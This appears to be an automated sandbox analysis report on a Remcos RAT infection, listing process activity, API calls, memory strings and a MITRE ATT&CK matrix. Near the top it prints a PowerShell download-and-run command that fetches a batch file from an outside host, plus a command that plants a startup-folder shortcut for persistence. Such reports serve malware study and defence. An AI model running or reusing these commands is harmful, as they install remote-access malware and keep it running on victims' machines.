Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -command "[net.servicepointmanager]::securityprotocol=[net.securityprotocoltype]::tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:temp + '\c2.bat';invoke-webrequest -uri $u -outfile $o;start-process -filepath $o -nonewwindow"
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\linkhub.url" & echo url="c:\users\user\appdata\local\connectware technologies ltd\linkhub.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\linkhub.url" & exit
Source: C:\Windows\SysWOW64\mshta.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -noprofile -command "[net.servicepointmanager]::securityprotocol=[net.securityprotocoltype]::tls12;$u='https://candwfarmsllc.com/c2.bat';$o=$env:temp + '\c2.bat';invoke-webrequest -uri $u -outfile $o;start-process -filepath $o -nonewwindow"Jump to behavior
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comProcess created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\linkhub.url" & echo url="c:\users\user\appdata\local\connectware technologies ltd\linkhub.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\linkhub.url" & exit
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E314AE GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,36_2_00E314AE
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E31FB0 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,36_2_00E31FB0
Source: Propose.com, 0000001C.00000003.2062594895.00000000038CB000.00000004.00000800.00020000.00000000.sdmp, Propose.com, 0000001C.00000000.2055549872.0000000000AC3000.00000002.00000001.01000000.00000010.sdmp, LinkHub.com, 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpBinary or memory string: Run Script:AutoIt script files (*.au3, *.a3x)*.au3;*.a3xAll files (*.*)*.*au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: LinkHub.comBinary or memory string: Shell_TrayWnd
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00DF0A08 cpuid 36_2_00DF0A08
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\mshta.exeQueries volume information: C:\Windows\Fonts\times.ttf VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E2E5F4 GetLocalTime,36_2_00E2E5F4
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E2E652 GetUserNameW,36_2_00E2E652
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E0BCD2 _free,_free,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,_free,36_2_00E0BCD2
Source: C:\Users\user\AppData\Local\Temp\msword\msword.exeCode function: 16_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,16_2_00406805
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
Source: LinkHub.comBinary or memory string: WIN_81
Source: LinkHub.comBinary or memory string: WIN_XP
Source: Brian.24.drBinary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: LinkHub.comBinary or memory string: WIN_XPe
Source: LinkHub.comBinary or memory string: WIN_VISTA
Source: LinkHub.comBinary or memory string: WIN_7
Source: LinkHub.comBinary or memory string: WIN_8

Remote Access Functionality

barindex
Detected Remcos RAT
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\361684\Propose.comMutex created: \Sessions\1\BaseNamedObjects\Rmc-3QMI88
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E52263 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,36_2_00E52263
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 36_2_00E51C61 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,36_2_00E51C61
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A92263 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,38_2_00A92263
Source: C:\Users\user\AppData\Local\ConnectWare Technologies Ltd\LinkHub.comCode function: 38_2_00A91C61 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,38_2_00A91C61

Mitre Att&ck Matrix

ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information111
Scripting		2
Valid Accounts		1
Windows Management Instrumentation		111
Scripting		1
Exploitation for Privilege Escalation		1
Disable or Modify Tools		121
Input Capture		2
System Time Discovery		Remote Services1
Archive Collected Data		1
Ingress Tool Transfer		Exfiltration Over Other Network Medium1
System Shutdown/Reboot
CredentialsDomainsDefault Accounts1
Native API		1
DLL Side-Loading		1
DLL Side-Loading		1
Deobfuscate/Decode Files or Information		LSASS Memory1
Account Discovery		Remote Desktop Protocol1
Email Collection		1
Encrypted Channel		Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts1
Command and Scripting Interpreter		2
Valid Accounts		2
Valid Accounts		2
Obfuscated Files or Information		Security Account Manager3
File and Directory Discovery		SMB/Windows Admin Shares121
Input Capture		1
Remote Access Software		Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal Accounts1
Scheduled Task/Job		1
Scheduled Task/Job		21
Access Token Manipulation		1
DLL Side-Loading		NTDS28
System Information Discovery		Distributed Component Object Model3
Clipboard Data		Protocol ImpersonationTraffic DuplicationData Destruction
Gather Victim Network InformationServerCloud Accounts2
PowerShell		2
Registry Run Keys / Startup Folder		12
Process Injection		111
Masquerading		LSA Secrets221
Security Software Discovery		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC Scripts1
